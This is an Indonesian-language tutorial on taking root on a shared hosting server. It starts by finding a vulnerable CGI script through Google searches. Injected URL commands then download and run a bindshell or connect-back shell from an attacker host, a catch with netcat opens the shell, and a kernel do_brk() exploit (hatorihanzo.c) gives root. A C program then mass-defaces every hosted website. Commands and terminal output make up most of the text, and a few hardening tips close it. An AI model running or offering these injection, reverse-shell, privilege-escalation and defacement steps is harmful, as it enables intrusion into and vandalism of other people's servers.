KECEROBOHAN WEBMASTER, PROSES JEBOLNYA ROOT SEBUAH HOSTING

Banyak sekali tujuan sebuah proses hacking terhadap server, ada sebagian orang melakukan hacking hanya sebatas deface, untuk tujuan carding, untuk mendapat full akses (root priviledges) server, ada juga yang bertujuan untuk mematikan servis sistem dan network (Denial of Services). Proses hacking dapat dilakukan secara acak ataupun tertarget, acak dalam artian attacker melakukan proses hacking secara masal misal dengan bantuan search engine google, sedangkan tertarget maksudnya attacker melakukan hacking terhadap sebuah sistem atau server tertentu. Pada kesempatan kali ini penulis mo sharing ma temen-temen bagaimana root priviledge server sebuah hosting bisa di peroleh attacker dengan bantuan search engine (proses hacking acak) .

Banyak sekali orang beranggapan bahwa tanggung jawab sekuritas sistem dalam sebuah server anggaplah server hosting adalah tanggun jawab dari sysadmin sedangkan para webmaster site hanya berpikir agar sitenya dikunjungi dan banyak sekali para webmaster (walaupun gak semua) yang mengacuhkan sekuritas. Upzz, inilah jalan masuk terbaik bagi attacker untuk masuk ke sistem, why..?? Tentu saja karena port 80 yang harus selalu terbuka. Lalu bagaimana root priviledge sebuah server diperoleh..?? Berikut ini detail teknik yang sering dipakai oleh para attacker untuk memperoleh tujuan full akses.Hole via URL yang biasa dipakai untuk memperoleh full akses terhadap sistem adalah hole remote ekskusi seperti PHP injection dan CGI remote execution. Sebuah assumsi bahwa dalam sebuah hosting ada salah satu webmaster yang menggunakan software vulnerable yang belum terpatch misalnya w_s3adix.cgi yang di produksi oleh Y.SAK. Berikut hole dari w_s3adix.cgi yang ditemukan oleh blahpok a.k.a choi GSO community w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|command|.

Tahap pertama yang dilakukan oleh para attacker adalah menggunakan search engine google untuk mencari website yang menginstall software w_3sadix.cgi vulnerable misal dalam box keyword di isi dengan allinurl : w_3sadix.cgi? no= . Setelah attacker mendapatkan sasarannya inilah saat attacker mencoba-coba bagaimana dia memperoleh full akses terhadap sistem. Untuk memperoleh root priviledges dari hole via URL seorang attacker harus bisa memperoleh lokal shell sistem, ada dua cara yang biasa dipakai para attacker untuk memperoleh lokal shell yaitu menggunakan bindty dan teknik connect-back. Perlu digaris bawahi bahwa hole yang digunakan untuk memperoleh shell adalah hole remote ekskusi yang memungkinkan bagi attacker untuk mengakses command sistem (console) via browser. Sehingga dari browser attacker bisa mendownload file ke sistem target, mengkompile dan mengekskusinya. Download script bindty ke sistem target, kompile dan ekskusi.

http://student.te.ugm.ac.id/~phoenix03/audit/bindedit.c => Code bindty shell by sd then modified by KillFinger then Modified again by Ph03n1X.

Misal anda menggunakan website http://webmu.com/bind.c untuk menghosting script bindty maka download script bindty itu ke server sistem target untuk memperoleh shell lokal target. Tentunya anda harus mendownload script tadi ke directory yang bisa anda tulisi misalnya /tmp tau /var/tmp. Kemudian kompile dan eksekusi

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|wget http://webmu.com/bind.c -O /var/tmp/bind.c|

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|gcc -o /var/tmp/bind /var/tmp/bind.c;/var/tmp/bind 4000|

Lihat diatas kita menggunakan port 4000 sebagai binding port, sekarang cek apakah port 4000 terbuka, scan dengan phnxscan.c yang dibuat penulis, anda dapat mendownload source kodenya di *http://student.te.ugm.ac.id/~phoenix03/tutorial/phnxscan.c*. Kompile dan ekskusi script tadi menggunakan gcc dan scanlah port 4000 servet www.target.com.

myshell~>gcc -o phnxscan phnxscan.c

myshell~> ping -c 2 target.com
PING target.com (210.189.77.28): 56 data bytes
64 bytes from 210.189.77.28: icmp_seq=0 ttl=38 time=428.044 ms
64 bytes from 210.189.77.28: icmp_seq=1 ttl=38 time=428.624 ms
--- target.com ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/std-dev = 428.044/428.334/428.624/0.290 ms

myshell~> phnxscan -p 4000 -s 210.189.77.28
port 4000 (tcp) terbuka

Telnet server target port 4000, jika berhasil maka anda akan disuruh memasukkan password yang default dari scriptnya *changeme*

myshell~> telnet 210.189.77.28 4000
Trying 210.189.77.28...
Connected to target.com (210.189.77.28).
Escape character is '^]'.

passwd changeme
changeme

=- WELCOME TO THE SERVER -=

sh-2.05b$

Cara kedua untuk menaklukan lokal shell target adalah dengan metode connect-back menggunakan scipt buatan AresU dari 1stlink.

http://student.te.ugm.ac.id/~phoenix03/audit/backup.pl => Coded By AresU

Seperti halnya menggunakan bindty, download script connect-back ke server target ke directory yang bisa ditulisi misalnya /tmp atau /var/tmp.

http://www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|wget http://webmu.com/back.pl -O /var/tmp/back.pl|
Kemudian jalankan netcat di box anda dengan option port listen -l, box anda harus mempunyai IP publik sehingga bisa di akses cross internet (misal 212.123.24.190). Ekskusi script connect-back yang sudah di download di server target melalui browser.

myshell~> nc -l 21

www.target.com/w_s3adix.cgi?st=parameter&re=parameter&no=file.txt|perl /var/tmp/back.pl 212.123.24.190 21|

Kemudian lihat box anda.....

myshell~>nc -l 21
(c)AresU Connect-Back Backdoor Shell v1.0
1ndonesia Security Team (1st)

Linux xxxxxxxxxx 2.4.20-8 #1 Thu Mar 13 16:42:56 EST 2003 i586 i586 i386 GNU/Linux
uid=502(apache) gid=502(apache) groups=502(apache)

cat /etc/issue
Red Hat Linux release 9 (Shrike)
Kernel \r on an \m

Weksss, di sini penulis memperoleh target server Red Hat 9 (Shrike) yang versi kernelnya *2.4.20-8,* kernel ini secara default memiliki hole lokal do_brk() yang kalo gak di patch maka privledge root bisa diperoleh. Sebuah eksploits yang biasa digunakan untuk mengekploitasi bug ini adalah hatorihanzo.c yang bisa anda download di link berikut
http://student.te.ugm.ac.id/~phoenix03/audit/hatorihanzo.c .
Kemudian ikuti step step berikut :

wget http://student.te.ugm.ac.id/~phoenix03/audit/hatorihanzo.c

--04:00:20-- http://student.te.ugm.ac.id/%7Ephoenix03/audit/hatorihanzo.c
=> `hatorihanzo.c'
Resolving student.te.ugm.ac.id... done.
Connecting to student.te.ugm.ac.id[222.124.24.19]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,510 [text/plain]
0K ..... 100% 9.35 KB/s
04:00:24 (9.35 KB/s) - `hatorihanzo.c' saved [6510/6510]

gcc -static -o hatori hatorihanzo.c

ls -al
total 440
drwxrwxrwt 2 root root 4096 Sep 3 04:00 .
drwxr-xr-x 18 root root 4096 Sep 9 2004 ..
-rwxr-xr-x 1 root root 428460 Sep 3 04:00 hatori
-rw-r--r-- 1 root root 6510 Dec 16 2003 hatorihanzo.c

./hatori (wait a moment)

id
uid=0(root) gid=0(root)

Binggo, Sekarang anda memperoleh shell root target, yah sekarang anda adalah mahadewa di sistem itu :P~. Lalu bagaimana masalah backdooring hmm, cari referensinya di google, gunakan keyword sshdoor, shv dan lainnya. Sekarang penulis hanya hendak berbagi pengalaman tentang mass defacing server target (Assumsi penulis bahwa server yang ditaklukan adalah server hosting). Untuk mengetahui di folder mana website-website di server itu disimpan, cari file konfigurasi apache httpd.conf, baca dan perhatikan baik-baik dimana DocumentRoot dari website yang ada.

find / -name httpd.conf
/usr/local/apache2/conf/httpd.conf

cat /usr/local/apache2/conf/httpd.conf

Berikut ini konfigurasi virtual domain yang didapat :

<VirtualHost 210.189.77.28:80>
ServerName xxxxxxxx.jp

ServerAdmin webmaster@xxxxxxx.jp
ServerAlias xxxxxxx.jp
ScriptAlias /cgi-bin/ /home/beso-kbkb/public_html/cgi-bin/
DocumentRoot /home/beso-kbkb/public_html
user xxxxxxxx
group xxxxxxxx
CustomLog logs/210.189.77.28:80-www.xxxxxxx.jp-access.log combined
ErrorLog logs/210.189.77.28:80-www.xxxxxxxx.jp-error.log
CustomLog /home/members/public_html/logs/ xxxxxxxx /access_log combined
#LCControlDomain kbkb.beso.jp
AliasMatch ^/~([^/]+)/(.) /home/lcvirtualdomain/ xxxxxxxx.jp/users/$1/public_html/$2*
</VirtualHost>

<VirtualHost 210.189.77.28:80>
ServerName xxxxxxxx.ne.jp
ServerAdmin webmaster@ xxxxxxxx.ne.jp
ServerAlias xxxxxxxx.ne.jp
ScriptAlias /cgi-bin/ /home/ xxxxxxxx /public_html/cgi-bin/
DocumentRoot /home/ xxxxxxxx /public_html
user xxxxxxxx
group xxxxxxxx
CustomLog logs/210.189.77.28:80-www. xxxxxxxx.ne.jp-access.log combined
ErrorLog logs/210.189.77.28:80-www. xxxxxxxx.ne.jp-error.log
CustomLog /home/members/public_html/logs/ xxxxxxxx/access_log combined
#LCControlDomain xxxxxxxx.ne.jp
AliasMatch ^/~([^/]+)/(.) /home/lcvirtualdomain/*
xxxxxxxx.ne.jp/users/$1/public_html/$2
</VirtualHost>

Sekarang bisa anda lihat bahwa DocumentRoot dari masing-masing website adalah /home/nama-website/public_html/ dan semua website terletak di subdirectory /home. Untuk melakukan deface masal lakukan langkah-langkah berikut :

cd /home
ls > host.txt

Kemudian buat script berikut, terserah bagaimana cara anda yang jelas script ini beserta hasil ekskusinya harus di simpan di directory /home.

```
#include "stdio.h"

/*      Coded By Ph03n1X
        king_purba@yahoo.co.uk
        student.te.ugm.ac.id/~phoenix03
*/

main()
{
FILE *ax;
char aa[1000],bb[1000];
if((ax=fopen("host.txt","r"))==NULL)
{
printf("Gagal\n");
exit(0);
}
while(fgets(aa,sizeof(aa),ax))
{
aa[strlen(aa)-1]='\0';
snprintf(bb,sizeof(bb),"echo hack by Ph03n1X > %s/public_html/deface.txt",aa);
system(bb);
}
system("find /home -name deface.txt > result.txt");
}
```

Simpan script diatas sebagai file berekstensi .c misal deface.c, kompile dan ekskusi di folder /home.

```
gcc -o deface deface.c
./deface
```

Sekarang lihat hasil deface masal anda di file result.txt yang dihasilkan dari ekskusi script diatas.

Setelah bisa menjebol sistem, tentu tidaklah lengkap kalo tidak bisa menambalnya. Lalu bagaimanakah seorang sysadmin seharusnya untuk meminimalkan kejadian seperti ini. lihatlah bahwa hole awal sistem adalah hole user dalam hal ini webmaster salah satu website yang di hosting di server, maka tidaklah mungkin untuk bisa memantau semua user apalagi kalo jumlahnya cukup banyak. Berikut beberapa tips untuk meminimalkan kejadian seperti ini.

1. Sering-seringlah check directory /tmp dan /var/tmp karena ini adalah directory favorit para intruder.
2. Sering-seringlah melakukan checking terhadap logs sistem seperti access_logs apache, /var/log/authlog, /var/logs/adduser dan lain-lainnya
3. Buatlah directory /tmp dalam partisi hardisk terpisah, kemudian hapus directory /var/tmp default dan ganti dengan *ln -s /tmp /var/tmp*
   Berikan option noexec dan nosuid di partis /tmp melalui /etc/fstab misalnya :
   /dev/wd0h /tmp ffs rw,noexec,noatime,nodev,nosuid 1 2
4. Kemudian jika anda menggunakan script server side, disable semua fungsi yang digunakan untuk mengakses command system. Misalnya untuk PHP disable fungsi-fungsi berikut dari php.ini
   disable_functions = escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_get_status, proc_nice, proc_open,proc_terminate, shell_exec, system
5. Gunakan firewall dengan default deny terutama untuk semua koneksi masuk dan forward.
6. Selalu melakukan patching jika hole baru ditemukan, untuk ini dituntut kerja keras admin dalam mencari informasi.

Mudah-mudahan tulisan ini bermanfaat walaupun singkat :P~

REFERENSI :
http://google.co.id
http://bosen.net
http://jasakom.com
http://echo.or.id